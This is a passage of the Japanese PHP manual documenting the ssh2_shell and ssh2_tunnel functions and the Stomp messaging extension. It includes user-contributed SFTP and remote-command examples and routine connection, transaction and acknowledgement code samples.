        if (@fwrite($stream, $data_to_send) === false)
            throw new Exception("Could not send data from file: $local_file.");
        @fclose($stream);
    }

        function scanFilesystem($remote_file) {
              $sftp = $this->sftp;
            $dir = "ssh2.sftp://$sftp$remote_file";
              $tempArray = array();
            $handle = opendir($dir);
          // List all the files
            while (false !== ($file = readdir($handle))) {
            if (substr("$file", 0, 1) != "."){
              if(is_dir($file)){
//                $tempArray[$file] = $this->scanFilesystem("$dir/$file");
               } else {
                 $tempArray[]=$file;
               }
             }
            }
           closedir($handle);
          return $tempArray;
        }

    public function receiveFile($remote_file, $local_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'r');
        if (! $stream)
            throw new Exception("Could not open file: $remote_file");
        $contents = fread($stream, filesize("ssh2.sftp://$sftp$remote_file"));
        file_put_contents ($local_file, $contents);
        @fclose($stream);
    }

    public function deleteFile($remote_file){
      $sftp = $this->sftp;
      unlink("ssh2.sftp://$sftp$remote_file");
    }
}
duke1 at drakkon dot net 23-Apr-2008 08:38
if anyone is interested on how to get a directory listing:
$SSH_CONNECTION= ssh2_connect('shell.example.com', 22);
ssh2_auth_password($SSH_CONNECTION, 'username', 'password');
//-------------------------------------------------------------------
//this function finds all files within  given directory and returns them
function scanFilesystem($dir) {
    $tempArray = array();
    $handle = opendir($dir);
  // List all the files
    while (false !== ($file = readdir($handle))) {
    if (substr("$file", 0, 1) != "."){
           if(is_dir($file)){
            $tempArray[$file]=scanFilesystem("$dir/$file");
        } else {
            $tempArray[]=$file;
        }
    }
    }
   closedir($handle);
  return $tempArray;
}

//-------------------------------------------------------------------
$sftp = ssh2_sftp($SSH_CONNECTION);

//code to get listing of all OUTGOING files
$dir = "ssh2.sftp://$sftp/outgoing";
$outgoing = scanFilesystem($dir);
sort($outgoing);
print_r($outgoing);
Curtis Wyatt 28-Jan-2008 07:58
The sftp class provided by David Barnes works great.  However, if you get errors about fopen and it failing to open a stream, try the fully qualified path on the remote server.

For example, if you are uploading a file to /Users/username/Sites/file.txt this may not work:

<?php
try {
    $sftp = new SFTPConnection("localhost", 22);
    $sftp->login("username", "password");
    $sftp->uploadFile("/tmp/to_be_sent", "Sites/file.txt");
}
catch (Exception $e) {
    echo $e->getMessage() . "\n";
}
?>

but this will:

<?php
try {
    $sftp = new SFTPConnection("localhost", 22);
    $sftp->login("username", "password");
    $sftp->uploadFile("/tmp/to_be_sent", "/Users/username/Sites/file.txt");
}
catch (Exception $e) {
    echo $e->getMessage() . "\n";
}
?>

Don't assume that since you are connecting as that user that you are starting in its home space.

Another possible option is that you need to use http://us.php.net/manual/en/function.ssh2-sftp-mkdir.php first to make the directory if it does not exist already, and then upload the file into it.
David Barnes 15-Nov-2006 03:08
Here is an example of how to send a file with SFTP:

<?php

class SFTPConnection
{
    private $connection;
    private $sftp;

    public function __construct($host, $port=22)
    {
        $this->connection = @ssh2_connect($host, $port);
        if (! $this->connection)
            throw new Exception("Could not connect to $host on port $port.");
    }

    public function login($username, $password)
    {
        if (! @ssh2_auth_password($this->connection, $username, $password))
            throw new Exception("Could not authenticate with username $username " .
                                "and password $password.");

        $this->sftp = @ssh2_sftp($this->connection);
        if (! $this->sftp)
            throw new Exception("Could not initialize SFTP subsystem.");
    }

    public function uploadFile($local_file, $remote_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'w');

        if (! $stream)
            throw new Exception("Could not open file: $remote_file");

        $data_to_send = @file_get_contents($local_file);
        if ($data_to_send === false)
            throw new Exception("Could not open local file: $local_file.");

        if (@fwrite($stream, $data_to_send) === false)
            throw new Exception("Could not send data from file: $local_file.");

        @fclose($stream);
    }
}

try
{
    $sftp = new SFTPConnection("localhost", 22);
    $sftp->login("username", "password");
    $sftp->uploadFile("/tmp/to_be_sent", "/tmp/to_be_received");
}
catch (Exception $e)
{
    echo $e->getMessage() . "\n";
}

?>


対話式のシェルを要求する

  • ≪ ssh2_sftp
  • ssh2_tunnel ≫
  • PHP Manual
  • SSH2 関数
  • 対話式のシェルを要求する

ssh2_shell

(PECL ssh2 >= 0.9.0)

ssh2_shell — 対話式のシェルを要求する

説明

ssh2_shell ( resource $session , string $term_type = "vanilla" , array|null $env = null , int $width = 80 , int $height = 25 , int $width_height_type = SSH2_TERM_UNIT_CHARS ) : resource|false

リモートエンド上のシェルをオープンし、そのためのストリームを割り当てます。

パラメータ

session

ssh2_connect() のコールによって取得した SSH 接続リンク ID。

term_type

term_type は対象システムの /etc/termcap に記載されたエントリの一つに相当します。

env

env には、 対象の環境に設定する名前/値の組の連想配列を渡すことができます。

width

仮想端末の幅。

height

仮想端末の高さ。

width_height_type

width_height_type は SSH2_TERM_UNIT_CHARS あるいは SSH2_TERM_UNIT_PIXELS のいずれかです。

返り値

成功した場合、ストリームリソースを返します。 失敗した場合に false を返します.

例

例1 対話シェルのリクエスト

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stream = ssh2_shell($connection, 'vt102', null, 80, 24, SSH2_TERM_UNIT_CHARS);
?>

参考

  • ssh2_exec() - リモートサーバー上でコマンドを実行する
  • ssh2_tunnel() - リモートサーバーを経由するトンネルをオープンする
  • ssh2_fetch_stream() - 拡張データストリームを取得する

User Contributed Notes

nogueiraconsultoria at gmail dot com 29-Jul-2020 01:25
I get it a work script for multiple commands. This script return  output of each command on array, indexed by the "command".

Att: ssh2_cmd() dont work for multiple commands, thus ssh2_shell(). Attencion for de EOL on witch type of SO. I used "\n" at the end of witch command, but maybe other options like "<br>, ; , etc);

        $connection = ssh2_connect($input_host_ip, 22);

        if (false === $connection) {
                error_log("ERROR funcao SSH_UMTELECOM: Connection failed!\n",3,$log_file);
                exit();
        }else{
                if($debugar){error_log("SSH_UMTELECOM: Connection success to $input_host_ip!\n",3,$log_file);}

                $auth = @ssh2_auth_password($connection, $user, $pass);
                if (false === $auth) {
                        error_log("ERROR funcao SSH_UMTELECOM: Authentication failed on $input_host_ip (user: $user)!\n",3,$log_file);
                        exit();
                }else{
                        if($debugar){error_log("SSH_UMTELECOM: Authentication success to $input_host_ip!\n",3,$log_file);}

                        error_log("Iniciando Stream: $connection\n",3,$log_file);
                        $output_array = array();
                        $shell = ssh2_shell($connection, 'vt100');

                        foreach($input_cmd as $cmd){
                                if($debugar){error_log("shell: $cmd\n",3,$log_file);}
                                $output_stream = ""; # Limpa variavel para cada interacao
                                fwrite($shell, "$cmd\n"); # Nao esquecer o "\n" ao termino de cada comando
                                #stream_set_blocking($shell, true); # Nao funciona, aguarda infinitamente
                                sleep(2); # 2 segundos para redes com alta latencia
                                while($output_streams = fgets($shell)){
                                        $output_stream .= $output_streams;
                                        flush();# Limpa o conteudo para a proxima interacao
                                }
                                $output_array[] = $output_stream; # Reune cada retorno em seu respectivo comando
                        }
                        fclose($shell); # Gracius logout from shell
                }# Fim if false === $auth
        }# Fim if false === $conenection
tuxedobob at mac dot com 08-Apr-2014 08:37
Keep in mind that when using ssh2_shell, the remote system's EOL may not be the same as PHP's EOL, so it may not be safe to use PHP_EOL. The native EOL for Windows is \r\n, while Unix is typically merely \n, and classic Mac for some reason is \r.

If you're running PHP on Windows (\r\n) and sshing into a Unix box (\n) you're going to end up sending extra lines. My experience so far is that it just acts as though you typed nothing, which may cause issues with password prompts.

Oh, and \n\r? Don't do that. Nobody does that.
tsschulz at gmx dot net 11-Jan-2011 08:07
In my case the ssh2_shell doesn't work every time. There were many problems:
- If I use stream_get_contents, the command(s) never executed
- with while ($buf = fgets...) the loop never stops
- without sleep(1) before stream_set_blocking, the command wasn't execute every time. Anyone knows why?
That's what I made, and it works - but I think it isn't what it should be:
<?php
        $strCommand = 'tar -C /path/to/extract -xjf /path/from/file.tar.bz2';
        $sshStream = ssh2_shell($this->sshSession, 'xterm', null, 120, 24, SSH2_TERM_UNIT_CHARS);
        fwrite($sshStream, $strCommand . PHP_EOL);
        sleep(1);
        stream_set_blocking($sshStream, true);
        $sshUntarRetval = "";
        while ($buf = fgets($sshStream,4096)) {
        flush();
            $sshUntarRetval .= $buf;
            if (strpos($buf, 'tar -C') !== false)
            {
                break;
            }
        }
        fclose($sshStream);
?>
stefanov at uk dot ibm dot com 02-May-2008 08:26
Do not use \n to end the command. Some server will fail to process. Use always the standard for PHP end of line: PHP_EOL

'suri at suribala dot com"'s example should be modified as follows (also change the double quotes to single, for better performance):

<?php

$con=ssh2_connect('192.168.0.1', 22);
ssh2_auth_password($con, 'user', 'password');
$shell=ssh2_shell($con, 'xterm');
fwrite( $shell, 'cd /dir_one;'.PHP_EOL);
fwrite( $shell, 'ls -la;'.PHP_EOL);
fwrite( $shell, 'cd /dir_two;'.PHP_EOL);
fwrite( $shell, 'ls -la;'.PHP_EOL);

?>

Cheers,

Pimmy
josh at hydril dot com 12-Jul-2007 04:49
To run a shell script with all the variables that you would have when logged in interactively add bash -l or sh --login infront of your command.  The script I use creates a shell script, copies the script to the box with ssh2_scp_send, then executes the script with ssh2_exec.  Hope this helps somebody.

<?php

//Example

$script1 = "bash -l /etc/rc.d/rc.httpd restart";

$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stream = ssh2_exec($connection, $script1);
?>
vgopu1 at gmail dot com 09-Jul-2007 01:17
Hi,

we could also use shell_exec to execute multiple related commands
separated by semicolon (;).

 And I figured out  problem that sometimes arise related to the execution of complex java c/c++ programs. All we need to do is to set the required environment variables. I have a environment variable in .bash_profile. This variable would be set when I log into my account normally through shell. But when we use ssh2_connect(), the environment variables in the .bash_profile are not set, all we need to do is export the required environment variables with shell_exec();

example:

$conn = ssh2_connect($ipaddress);
ssh2_auth_password($conn,$username,$passwd);
$cmd1="/path/to/program1";
$cmd2="/path/to/program2";
$env1="export Variable_name1=path1";
$env2="export Variable_name2=path2"
$stream = ssh2_exec($connection,"$env1; $env2; $cmd1; $cmd2");//this would execute all the //commands and return
// stream
stream_set_blocking($stream, true);
while($o=fgets($stream)){
echo $o.'<br>';
}

...
...

Thanks,
Vikram Gopu .
http:\\my.lsu.edu/vgopu1
galvao at galvao dot eti dot br 18-Dec-2006 09:03
In response to webmaster at spectreanime dot com:

"For some obscur reasons, just after ur command, u need to make a sleep to be sure, that the command has reached the server and is running"

Actually what you must do is set the blocking of the string to true, so it waits until the server sends data to the STDOUT before echoing it.

So, instead of:

sleep(1);

Just do:

stream_set_blocking($stdio, true);

Best regards,
webmaster at spectreanime dot com 08-Jun-2005 01:38
// Connection to SSH server
        echo "Connexion SSH ";
        if (!($resource=@ssh2_connect("192.168.0.1"))) {
                echo "[FAILED]<br />";
                exit(1);
        }
        echo "[OK]<br />";

        // Authentification by login/passwd
        echo "Authentification ";
        if (!@ssh2_auth_password($resource,"root","your_password")) {
                echo "[FAILED]<br />";
                exit(1);
        }
        echo "[OK]<br />";

        // We need a shell
        echo "Shell stdio ";
        if (!($stdio = @ssh2_shell($resource,"xterm"))) {
                echo "[FAILED]<br />";
                exit(1);
        }
        echo "[OK]<br />";

        // Execution of any command
        // Be careful to add an '\n' at the  end of the command
        $command = "/bin/ls /tmp\n";
        fwrite($stdio,$command);

        // IMPORTANT
        // For some obscur reasons, just after ur command, u need to make a sleep to be sure, that the command has reached the server and is running
        sleep(1);

        // Then u can fetch the stream to see what happens on stdio
        while($line = fgets($stdio)) {
                flush();
                echo $line."<br />";
        }

        // It's always cleaner to close all stream
        fclose($stdio);

I truly hope i'll help someone :)
suri at suribala dot com 14-Feb-2005 05:03
Using ssh_exec, one could execute only one command at a time. However, ssh_shell, offers greater flexibility.

Here is an example:

<?php

$con=ssh2_connect('192.168.0.1', 22);
ssh2_auth_password($con, "user", "password");
$shell=ssh2_shell($con, 'xterm');
fwrite( $shell, "cd /dir_one\n");
fwrite( $shell, "ls -la\n");
fwrite( $shell, "cd /dir_two\n");
fwrite( $shell, "ls -la\n");

?>

Thanks Sara for your implementation and your help !


リモートサーバーを経由するトンネルをオープンする

  • ≪ ssh2_shell
  • Stomp ≫
  • PHP Manual
  • SSH2 関数
  • リモートサーバーを経由するトンネルをオープンする

ssh2_tunnel

(PECL ssh2 >= 0.9.0)

ssh2_tunnel — リモートサーバーを経由するトンネルをオープンする

説明

ssh2_tunnel ( resource $session , string $host , int $port ) : resource

現在接続している SSH サーバーを経由して、 任意のホスト/ポートへのソケットストリームをオープンします。

パラメータ

session

ssh2_connect() のコールによって取得した SSH 接続リンク ID。

host

port

返り値

例

例1 任意のホストへのトンネルのオープン

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_pubkey_file($connection, 'username', 'id_dsa.pub', 'id_dsa');

$tunnel = ssh2_tunnel($connection, '10.0.0.101', 12345);
?>

参考

  • ssh2_connect() - SSH サーバーに接続する
  • fsockopen() - インターネット接続もしくは Unix ドメインソケット接続をオープンする

User Contributed Notes

marc 26-Aug-2015 07:28
ssh2_tunnel returns a socket stream (e.g, the output of fsockopen). You can use something basic like this to send a line break and get any output back to test that it's working:

fwrite($tunnel, "\n");
while (!feof($tunnel)) {
      echo fgets($tunnel, 128);
}

Just a reminder: you can't currently use the socket with any of the cURL functions.


Stomp Client

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 例
  • Stomp 関数
    • stomp_connect_error — Returns a string description of the last connect error
    • stomp_version — Gets the current stomp extension version
  • Stomp — The Stomp class
    • Stomp::abort — Rolls back a transaction in progress
    • Stomp::ack — Acknowledges consumption of a message
    • Stomp::begin — Starts a transaction
    • Stomp::commit — Commits a transaction in progress
    • Stomp::__construct — Opens a connection
    • Stomp::__destruct — Closes stomp connection
    • Stomp::error — Gets the last stomp error
    • Stomp::getReadTimeout — Gets read timeout
    • Stomp::getSessionId — Gets the current stomp session ID
    • Stomp::hasFrame — Indicates whether or not there is a frame ready to read
    • Stomp::readFrame — Reads the next frame
    • Stomp::send — Sends a message
    • Stomp::setReadTimeout — Sets read timeout
    • Stomp::subscribe — Registers to listen to a given destination
    • Stomp::unsubscribe — Removes an existing subscription
  • StompFrame — The StompFrame class
    • StompFrame::__construct — Constructor
  • StompException — The StompException class
    • StompException::getDetails — Get exception details

User Contributed Notes

There are no user contributed notes for this page.


はじめに

This extension allows php applications to communicate with any Stomp compliant Message Brokers through easy object oriented and procedural interfaces. » Stomp official site

User Contributed Notes

There are no user contributed notes for this page.


要件

PECL/stomp requires PHP 5.2.2 or newer.

The » OpenSSL package >= 0.9.6 and the openssl extension may also be required to use stomp over SSL.

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/stomp

User Contributed Notes

devin 11-Dec-2015 08:36
If you are encountering an error when building the Stomp extension:

pecl install stomp
OpenSSL install prefix (no to disable SSL support) [/usr] : /usr

configure: error: Cannot find OpenSSL's libraries
ERROR: `/var/tmp/stomp/configure --with-openssl-dir=/usr' failed

Even when openssl-devel is installed on the machine, try answering 'yes' to the openssl path prompt:

pecl install stomp
OpenSSL install prefix (no to disable SSL support) [/usr] : yes


実行時設定

php.ini の設定により動作が変化します。

Stomp 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
stomp.default_broker | tcp://localhost:61613 | PHP_INI_ALL |
stomp.default_connection_timeout_sec | 2 | PHP_INI_ALL |
stomp.default_connection_timeout_usec | 0 | PHP_INI_ALL |
stomp.default_read_timeout_sec | 2 | PHP_INI_ALL |
stomp.default_read_timeout_usec | 0 | PHP_INI_ALL |

以下に設定ディレクティブに関する 簡単な説明を示します。

stomp.default_broker string

The default broker URI to use when connecting to the message broker if no other URI is specified.

stomp.default_connection_timeout_sec int

The seconds part of the default connection timeout.

stomp.default_connection_timeout_usec int

The microseconds part of the default connection timeout.

stomp.default_read_timeout_sec int

The seconds part of the default reading timeout.

stomp.default_read_timeout_usec int

The microseconds part of the default reading timeout.

User Contributed Notes

There are no user contributed notes for this page.


リソース型

There is only one resource type used in the stomp extension - it's the link identifier for a stomp connection.

User Contributed Notes

There are no user contributed notes for this page.


例

例1 オブジェクト指向型

<?php

$queue  = '/queue/foo';
$msg    = 'bar';

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

/* send a message to the queue 'foo' */
$stomp->send($queue, $msg);

/* subscribe to messages from the queue 'foo' */
$stomp->subscribe($queue);

/* read a frame */
$frame = $stomp->readFrame();

if ($frame->body === $msg) {
    var_dump($frame);

    /* acknowledge that the frame was received */
    $stomp->ack($frame);
}

/* close connection */
unset($stomp);

?>

上の例の出力は、 たとえば以下のようになります。

object(StompFrame)#2 (3) {
  ["command"]=>
  string(7) "MESSAGE"
  ["headers"]=>
  array(5) {
    ["message-id"]=>
    string(41) "ID:php.net-55293-1257226743606-4:2:-1:1:1"
    ["destination"]=>
    string(10) "/queue/foo"
    ["timestamp"]=>
    string(13) "1257226805828"
    ["expires"]=>
    string(1) "0"
    ["priority"]=>
    string(1) "0"
  }
  ["body"]=>
  string(3) "bar"
}

例2 手続き型

<?php

$queue  = '/queue/foo';
$msg    = 'bar';

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

/* begin a transaction */
stomp_begin($link, 't1');

/* send a message to the queue 'foo' */
stomp_send($link, $queue, $msg, array('transaction' => 't1'));

/* commit a transaction */
stomp_commit($link, 't1');

/* subscribe to messages from the queue 'foo' */
stomp_subscribe($link, $queue);

/* read a frame */
$frame = stomp_read_frame($link);

if ($frame['body'] === $msg) {
    var_dump($frame);

    /* acknowledge that the frame was received */
    stomp_ack($link, $frame['headers']['message-id']);
}

/* close connection */
stomp_close($link);

?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  ["command"]=>
  string(7) "MESSAGE"
  ["body"]=>
  string(3) "bar"
  ["headers"]=>
  array(6) {
    ["transaction"]=>
    string(2) "t1"
    ["message-id"]=>
    string(41) "ID:php.net-55293-1257226743606-4:3:-1:1:1"
    ["destination"]=>
    string(10) "/queue/foo"
    ["timestamp"]=>
    string(13) "1257227037059"
    ["expires"]=>
    string(1) "0"
    ["priority"]=>
    string(1) "0"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Stomp 関数

目次

  • stomp_connect_error — Returns a string description of the last connect error
  • stomp_version — Gets the current stomp extension version

User Contributed Notes

There are no user contributed notes for this page.


Returns a string description of the last connect error

  • ≪ Stomp 関数
  • stomp_version ≫
  • PHP Manual
  • Stomp 関数
  • Returns a string description of the last connect error

stomp_connect_error

(PECL stomp >= 0.3.0)

stomp_connect_error — Returns a string description of the last connect error

説明

stomp_connect_error ( ) : string

Returns a string description of the last connect error.

パラメータ

この関数にはパラメータはありません。

返り値

A string that describes the error, or null if no error occurred.

例

例1 stomp_connect_error() example

<?php
$link = stomp_connect('http://localhost:61613');

if(!$link) {
    die('Connection failed: ' . stomp_connect_error());
}
?>

上の例の出力は、 たとえば以下のようになります。

Connection failed: Invalid Broker URI scheme

User Contributed Notes

There are no user contributed notes for this page.


Gets the current stomp extension version

  • ≪ stomp_connect_error
  • Stomp ≫
  • PHP Manual
  • Stomp 関数
  • Gets the current stomp extension version

stomp_version

(PECL stomp >= 0.1.0)

stomp_version — Gets the current stomp extension version

説明

stomp_version ( ) : string

Returns a string containing the version of the current stomp extension.

パラメータ

この関数にはパラメータはありません。

返り値

It returns the current stomp extension version

例

例1 stomp_version() example

<?php

var_dump(stomp_version());

?>

上の例の出力は、 たとえば以下のようになります。

string(5) "0.2.0"

User Contributed Notes

There are no user contributed notes for this page.


The Stomp class

(PECL stomp >= 0.1.0)

はじめに

Represents a connection between PHP and a Stomp compliant Message Broker.

クラス概要

Stomp {
/* メソッド */
public abort ( string $transaction_id , array $headers = ? ) : bool
public ack ( mixed $msg , array $headers = ? ) : bool
public begin ( string $transaction_id , array $headers = ? ) : bool
public commit ( string $transaction_id , array $headers = ? ) : bool
public __construct ( string $broker = ini_get("stomp.default_broker_uri") , string $username = ? , string $password = ? , array $headers = ? )
public __destruct ( ) : bool
public error ( ) : string
public getReadTimeout ( ) : array
public getSessionId ( ) : string|false
public hasFrame ( ) : bool
public readFrame ( string $class_name = "stompFrame" ) : stompframe
public send ( string $destination , mixed $msg , array $headers = ? ) : bool
public setReadTimeout ( int $seconds , int $microseconds = ? ) : void
public subscribe ( string $destination , array $headers = ? ) : bool
public unsubscribe ( string $destination , array $headers = ? ) : bool
}

目次

  • Stomp::abort — Rolls back a transaction in progress
  • Stomp::ack — Acknowledges consumption of a message
  • Stomp::begin — Starts a transaction
  • Stomp::commit — Commits a transaction in progress
  • Stomp::__construct — Opens a connection
  • Stomp::__destruct — Closes stomp connection
  • Stomp::error — Gets the last stomp error
  • Stomp::getReadTimeout — Gets read timeout
  • Stomp::getSessionId — Gets the current stomp session ID
  • Stomp::hasFrame — Indicates whether or not there is a frame ready to read
  • Stomp::readFrame — Reads the next frame
  • Stomp::send — Sends a message
  • Stomp::setReadTimeout — Sets read timeout
  • Stomp::subscribe — Registers to listen to a given destination
  • Stomp::unsubscribe — Removes an existing subscription

User Contributed Notes

guilherme dot geronimo at gmail dot com 12-Jul-2017 07:09
In some cases (E.g. ActiveMQ), when you have many consumers you need to identify your "client-id" during the connection process, otherwise the server can misunderstand your connection and create new topics/queues:

<?php
$stomp = new Stomp($url, $user, $password, array('client-id'=> $clientId ));
?>


Rolls back a transaction in progress

  • ≪ Stomp
  • Stomp::ack ≫
  • PHP Manual
  • Stomp
  • Rolls back a transaction in progress

Stomp::abort

stomp_abort

(PECL stomp >= 0.1.0)

Stomp::abort -- stomp_abort — Rolls back a transaction in progress

説明

オブジェクト指向型 (method):

public Stomp::abort ( string $transaction_id , array $headers = ? ) : bool

手続き型:

stomp_abort ( resource $link , string $transaction_id , array $headers = ? ) : bool

Rolls back a transaction in progress.

パラメータ

link

手続き型のみ: stomp_connect() が返す stomp リンク ID。

transaction_id

The transaction to abort.

headers

追加のヘッダ (例: receipt) を含む連想配列。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

ヒント

Stomp は本来非同期です。同期通信を実装するには receipt ヘッダを追加します。これを追加すると、サーバーがメッセージを受領するかタイムアウトに達するまではメソッドが何も返さないようになります。

例

例1 オブジェクト指向型

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

/* begin a transaction */
$stomp->begin('t1');

/* send a message to the queue */
$stomp->send('/queue/foo', 'bar', array('transaction' => 't1'));

/* rollback */
$stomp->abort('t1');

/* close connection */
unset($stomp);
?>

例2 手続き型

<?php

/* connection */
$link = stomp_connect('tcp://localhost:61613');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

/* begin a transaction */
stomp_begin($link, 't1');

/* send a message to the queue 'foo' */
stomp_send($link, '/queue/foo', 'bar', array('transaction' => 't1'));

/* rollback */
stomp_abort($link, 't1');

/* close connection */
stomp_close($link);

?>

User Contributed Notes

There are no user contributed notes for this page.


Acknowledges consumption of a message

  • ≪ Stomp::abort
  • Stomp::begin ≫
  • PHP Manual
  • Stomp
  • Acknowledges consumption of a message

Stomp::ack

stomp_ack

(PECL stomp >= 0.1.0)

Stomp::ack -- stomp_ack — Acknowledges consumption of a message

説明

オブジェクト指向型 (method):

public Stomp::ack ( mixed $msg , array $headers = ? ) : bool

手続き型:

stomp_ack ( resource $link , mixed $msg , array $headers = ? ) : bool

Acknowledges consumption of a message from a subscription using client acknowledgment.

パラメータ

link

手続き型のみ: stomp_connect() が返す stomp リンク ID。

msg

The message/messageId to be acknowledged.

headers

追加のヘッダ (例: receipt) を含む連想配列。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

トランザクションヘッダを指定し、そのメッセージがトランザクションの一部であることを示します。

ヒント

Stomp は本来非同期です。同期通信を実装するには receipt ヘッダを追加します。これを追加すると、サーバーがメッセージを受領するかタイムアウトに達するまではメソッドが何も返さないようになります。

例

例1 オブジェクト指向型

<?php

$queue  = '/queue/foo';
$msg    = 'bar';

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

/* send a message to the queue 'foo' */
$stomp->send($queue, $msg);

/* subscribe to messages from the queue 'foo' */
$stomp->subscribe($queue);

/* read a frame */
$frame = $stomp->readFrame();

if ($frame->body === $msg) {
    /* acknowledge that the frame was received */
    $stomp->ack($frame);
}

/* remove the subscription */
$stomp->unsubscribe($queue);

/* close connection */
unset($stomp);

?>

例2 手続き型

<?php

$queue  = '/queue/foo';
$msg    = 'bar';

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

/* begin a transaction */
stomp_begin($link, 't1');

/* send a message to the queue 'foo' */
stomp_send($link, $queue, $msg, array('transaction' => 't1'));

/* commit a transaction */
stomp_commit($link, 't1');

/* subscribe to messages from the queue 'foo' */
stomp_subscribe($link, $queue);

/* read a frame */
$frame = stomp_read_frame($link);

if ($frame['body'] === $msg) {
    /* acknowledge that the frame was received */
    stomp_ack($link, $frame['headers']['message-id']);
}

/* remove the subscription */
stomp_unsubscribe($link, $queue);

/* close connection */
stomp_close($link);

?>

User Contributed Notes

There are no user contributed notes for this page.


Starts a transaction

  • ≪ Stomp::ack
  • Stomp::commit ≫
  • PHP Manual
  • Stomp
  • Starts a transaction

Stomp::begin

stomp_begin

(PECL stomp >= 0.1.0)

Stomp::begin -- stomp_begin — Starts a transaction

説明

オブジェクト指向型 (method):

public Stomp::begin ( string $transaction_id , array $headers = ? ) : bool

手続き型:

stomp_begin ( resource $link , string $transaction_id , array $headers = ? ) : bool

Starts a transaction.

パラメータ

link

手続き型のみ: stomp_connect() が返す stomp リンク ID。

transaction_id

The transaction id.

headers

追加のヘッダ (例: receipt) を含む連想配列。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

ヒント

Stomp は本来非同期です。同期通信を実装するには receipt ヘッダを追加します。これを追加すると、サーバーがメッセージを受領するかタイムアウトに達するまではメソッドが何も返さないようになります。

例

See stomp_commit() or stomp_abort().

User Contributed Notes

There are no user contributed notes for this page.


Commits a transaction in progress

  • ≪ Stomp::begin
  • Stomp::__construct ≫
  • PHP Manual
  • Stomp
  • Commits a transaction in progress

Stomp::commit

stomp_commit

(PECL stomp >= 0.1.0)

Stomp::commit -- stomp_commit — Commits a transaction in progress

説明

オブジェクト指向型 (method):

public Stomp::commit ( string $transaction_id , array $headers = ? ) : bool

手続き型:

stomp_commit ( resource $link , string $transaction_id , array $headers = ? ) : bool

Commits a transaction in progress.

パラメータ

link

手続き型のみ: stomp_connect() が返す stomp リンク ID。

transaction_id

The transaction id.

headers

追加のヘッダ (例: receipt) を含む連想配列。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

ヒント

Stomp は本来非同期です。同期通信を実装するには receipt ヘッダを追加します。これを追加すると、サーバーがメッセージを受領するかタイムアウトに達するまではメソッドが何も返さないようになります。

例

例1 オブジェクト指向型

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

/* begin a transaction */
$stomp->begin('t1');

/* send a message to the queue */
$stomp->send('/queue/foo', 'bar', array('transaction' => 't1'));

/* commit */
$stomp->commit('t1');

/* close connection */
unset($stomp);

?>

例2 手続き型

<?php

/* connection */
$link = stomp_connect('tcp://localhost:61613');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

/* begin a transaction */
stomp_begin($link, 't1');

/* send a message to the queue 'foo' */
stomp_send($link, '/queue/foo', 'bar', array('transaction' => 't1'));

/* commit */
stomp_commit($link, 't1');

/* close connection */
stomp_close($link);

?>

User Contributed Notes

There are no user contributed notes for this page.


Opens a connection

  • ≪ Stomp::commit
  • Stomp::__destruct ≫
  • PHP Manual
  • Stomp
  • Opens a connection

Stomp::__construct

stomp_connect

(PECL stomp >= 0.1.0)

Stomp::__construct -- stomp_connect — Opens a connection

説明

オブジェクト指向型 (constructor):

public Stomp::__construct ( string $broker = ini_get("stomp.default_broker_uri") , string $username = ? , string $password = ? , array $headers = ? )

手続き型:

stomp_connect ( string $broker = ini_get("stomp.default_broker_uri") , string $username = ? , string $password = ? , array $headers = ? ) : resource

Opens a connection to a stomp compliant Message Broker.

パラメータ

broker

The broker URI

username

The username.

password

The password.

headers

追加のヘッダ (例: receipt) を含む連想配列。

返り値

注意:

トランザクションヘッダを指定し、そのメッセージがトランザクションの一部であることを示します。

変更履歴

バージョン | 説明
PECL stomp 1.0.1 | The headers parameter was added

例

例1 オブジェクト指向型

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

/* close connection */
unset($stomp);

?>

例2 手続き型

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

/* close connection */
stomp_close($link);

?>

User Contributed Notes

There are no user contributed notes for this page.


Closes stomp connection

  • ≪ Stomp::__construct
  • Stomp::error ≫
  • PHP Manual
  • Stomp
  • Closes stomp connection

Stomp::__destruct

stomp_close

(PECL stomp >= 0.1.0)

Stomp::__destruct -- stomp_close — Closes stomp connection

説明

オブジェクト指向型 (destructor):

public Stomp::__destruct ( ) : bool

手続き型:

stomp_close ( resource $link ) : bool

Closes a previously opened connection.

パラメータ

link

手続き型のみ: stomp_connect() が返す stomp リンク ID。

